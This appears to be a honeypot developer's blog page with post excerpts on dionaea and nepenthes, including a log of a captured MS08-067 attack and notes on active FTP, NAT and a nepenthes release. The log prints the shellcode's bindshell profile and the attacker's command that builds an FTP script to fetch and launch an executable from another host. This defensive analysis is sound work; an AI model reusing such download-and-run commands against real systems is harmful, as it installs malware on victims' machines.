Looking at my dionaea readlogsql logs for the last 24h I spotted this:

2010-10-02 08:57:48
  connection 479687 smbd tcp accept 10.146.168.210:445 <- 10.168.211.184:42210 (479687 None)
   dcerpc bind: uuid '4b324fc8-1670-01d3-1278-5a47bf6ee188' (SRVSVC) transfersyntax 8a885d04-1ceb-11c9-9fe8-08002b104860
   dcerpc bind: uuid '7d705026-884d-af82-7b3d-961deaeb179a' (None) transfersyntax 8a885d04-1ceb-11c9-9fe8-08002b104860
   dcerpc bind: uuid '7f4fdfe9-2be7-4d6b-a5d4-aa3c831503a1' (None) transfersyntax 8a885d04-1ceb-11c9-9fe8-08002b104860
   dcerpc bind: uuid '8b52c8fd-cc85-3a74-8b15-29e030cdac16' (None) transfersyntax 8a885d04-1ceb-11c9-9fe8-08002b104860
   dcerpc bind: uuid '9acbde5b-25e1-7283-1f10-a3a292e73676' (None) transfersyntax 8a885d04-1ceb-11c9-9fe8-08002b104860
   dcerpc bind: uuid '9f7e2197-9e40-bec9-d7eb-a4b0f137fe95' (None) transfersyntax 8a885d04-1ceb-11c9-9fe8-08002b104860
   dcerpc bind: uuid 'a71e0ebe-6154-e021-9104-5ae423e682d0' (None) transfersyntax 8a885d04-1ceb-11c9-9fe8-08002b104860
   dcerpc bind: uuid 'b3332384-081f-0e95-2c4a-302cc3080783' (None) transfersyntax 8a885d04-1ceb-11c9-9fe8-08002b104860
   dcerpc bind: uuid 'c0cdf474-2d09-f37f-beb8-73350c065268' (None) transfersyntax 8a885d04-1ceb-11c9-9fe8-08002b104860
   dcerpc bind: uuid 'd89a50ad-b919-f35c-1c99-4153ad1e6075' (None) transfersyntax 8a885d04-1ceb-11c9-9fe8-08002b104860
   dcerpc bind: uuid 'ea256ce5-8ae1-c21b-4a17-568829eec306' (None) transfersyntax 8a885d04-1ceb-11c9-9fe8-08002b104860
   dcerpc request: uuid '4b324fc8-1670-01d3-1278-5a47bf6ee188' (SRVSVC) opnum 31 (NetPathCanonicalize (MS08-67))
   profile: [{'return': '0x71a10000', 'args': ['ws2_32'], 'call': 'LoadLibraryA'}, {'return': '0', 'args': ['2', '1244280'], 'call': 'WSAStartup'}, {'return': '66', 'args': ['2', '1', '0', '0', '0', '0'], 'call': 'WSASocket'}, {'return': '0', 'args': ['66', {'sin_port': '1130', 'sin_addr': {'s_addr': '0.0.0.0'}, 'sin_zero': '       ', 'sin_family': '2'}, '16'], 'call': 'bind'}, {'return': '0', 'args': ['66', '2'], 'call': 'listen'}, {'return': '68', 'args': ['66', {}, ''], 'call': 'accept'}, {'return': '0', 'args': ['66'], 'call': 'closesocket'}, {'return': '-1', 'args': ['', 'cmd', '', '', '1', '0', '', '', {'dwXCountChars': '0', 'hStdInput': '68', 'wShowWindow': '0', 'dwYSize': '0', 'lpReserved2': '0', 'cbReserved2': '0', 'cb': '0', 'dwX': '0', 'dwY': '0', 'hStdOutput': '68', 'lpDesktop': '0', 'hStdError': '68', 'dwFlags': '0', 'dwYCountChars': '0', 'lpReserved': '0', 'lpTitle': '0', 'dwXSize': '0', 'dwFillAttribute': '0'}, {'dwProcessId': '4712', 'hThread': '4712', 'dwThreadId': '4714', 'hProcess': '4711'}], 'call': 'CreateProcess'}, {'return': '0', 'args': ['4712', '-1'], 'call': 'WaitForSingleObject'}, {'return': '0', 'args': ['68'], 'call': 'closesocket'}, {'return': '0', 'args': ['2088763392'], 'call': 'ExitThread'}]
   service: bindshell://1130
    connection 479689 remoteshell tcp listen 10.152.73.113:1130 (479687 479687)
      connection 479690 remoteshell tcp accept 10.152.73.113:1130 <- 10.182.132.14:42224 (479687 479689)

A proper exploitation, a proper remote shell, but for whatever reason there was no offer …

So, I looked up the data from the shell session for 10.152.73.113:1130 ← 10.182.132.14:42224.

[02102010 08:57:52] cmd dionaea/cmd.py:52-debug: DATA: b'echo open 10.232.44.205 33542 >> asr_ltjhy &echo user ltjhyh ltjhyh >> asr_ltjhy &echo get asr_77034.exe >> asr_ltjhy &echo quit >> asr_ltjhy &ftp -nv -s:asr_ltjhy &start asr_77034.exe\r\n'

It looked valid, and I was wondering why dionaea failed to detect the offer and download the file.
So, I decided to reproduce the failure using the cli in dionaea:

Read more…

Playing with the honeytrap module, I saw some strange behaviour from hosts attacking nepenthes. They connected, exploitet to gain shell, connected the shell, and run a ftp command. Nepenthes connected the viris ftp server, and asked for the file, providing the port where to send the file via the PORT command (active ftp). In some cases, the virus would send the file to a _very_ different port, the honeytrap module kicked it, and we got the file send to a shell emulation.

Read more…

There are at least 2, maybe three reasons active ftp does not work with NAT.

• the natted client does not know the external address, so he can't tell the ftp server where to connect
• the port the natted client tells the server to connect to, in order to send the file, has to be forwarded to the client by the router
• the protocol was not designed for use with NAT.

Read more…

the mentioned problem with viri ftp daemons that are very sensible to what you send them, is _fixed_ download-ftp, the windows nt shell emulation and some other things got improved to fit these needs.

we took the possibility to change some other things we wanted to change before

• logging now scales very well,
  • log crit,warn,info now means dont miss a thing, and dont waste harddiskspace
  • dont apply filters if you want the spam mode you ran before
• dumping unknown crap/shellcodes is improved by _many_ miles
• now we use etc/nepenthes to store all the config files

as there are so many changes, we want to test this at least one night, we dont expect problems, and if nothing shows up, you can get the release tomorrow.

Read more…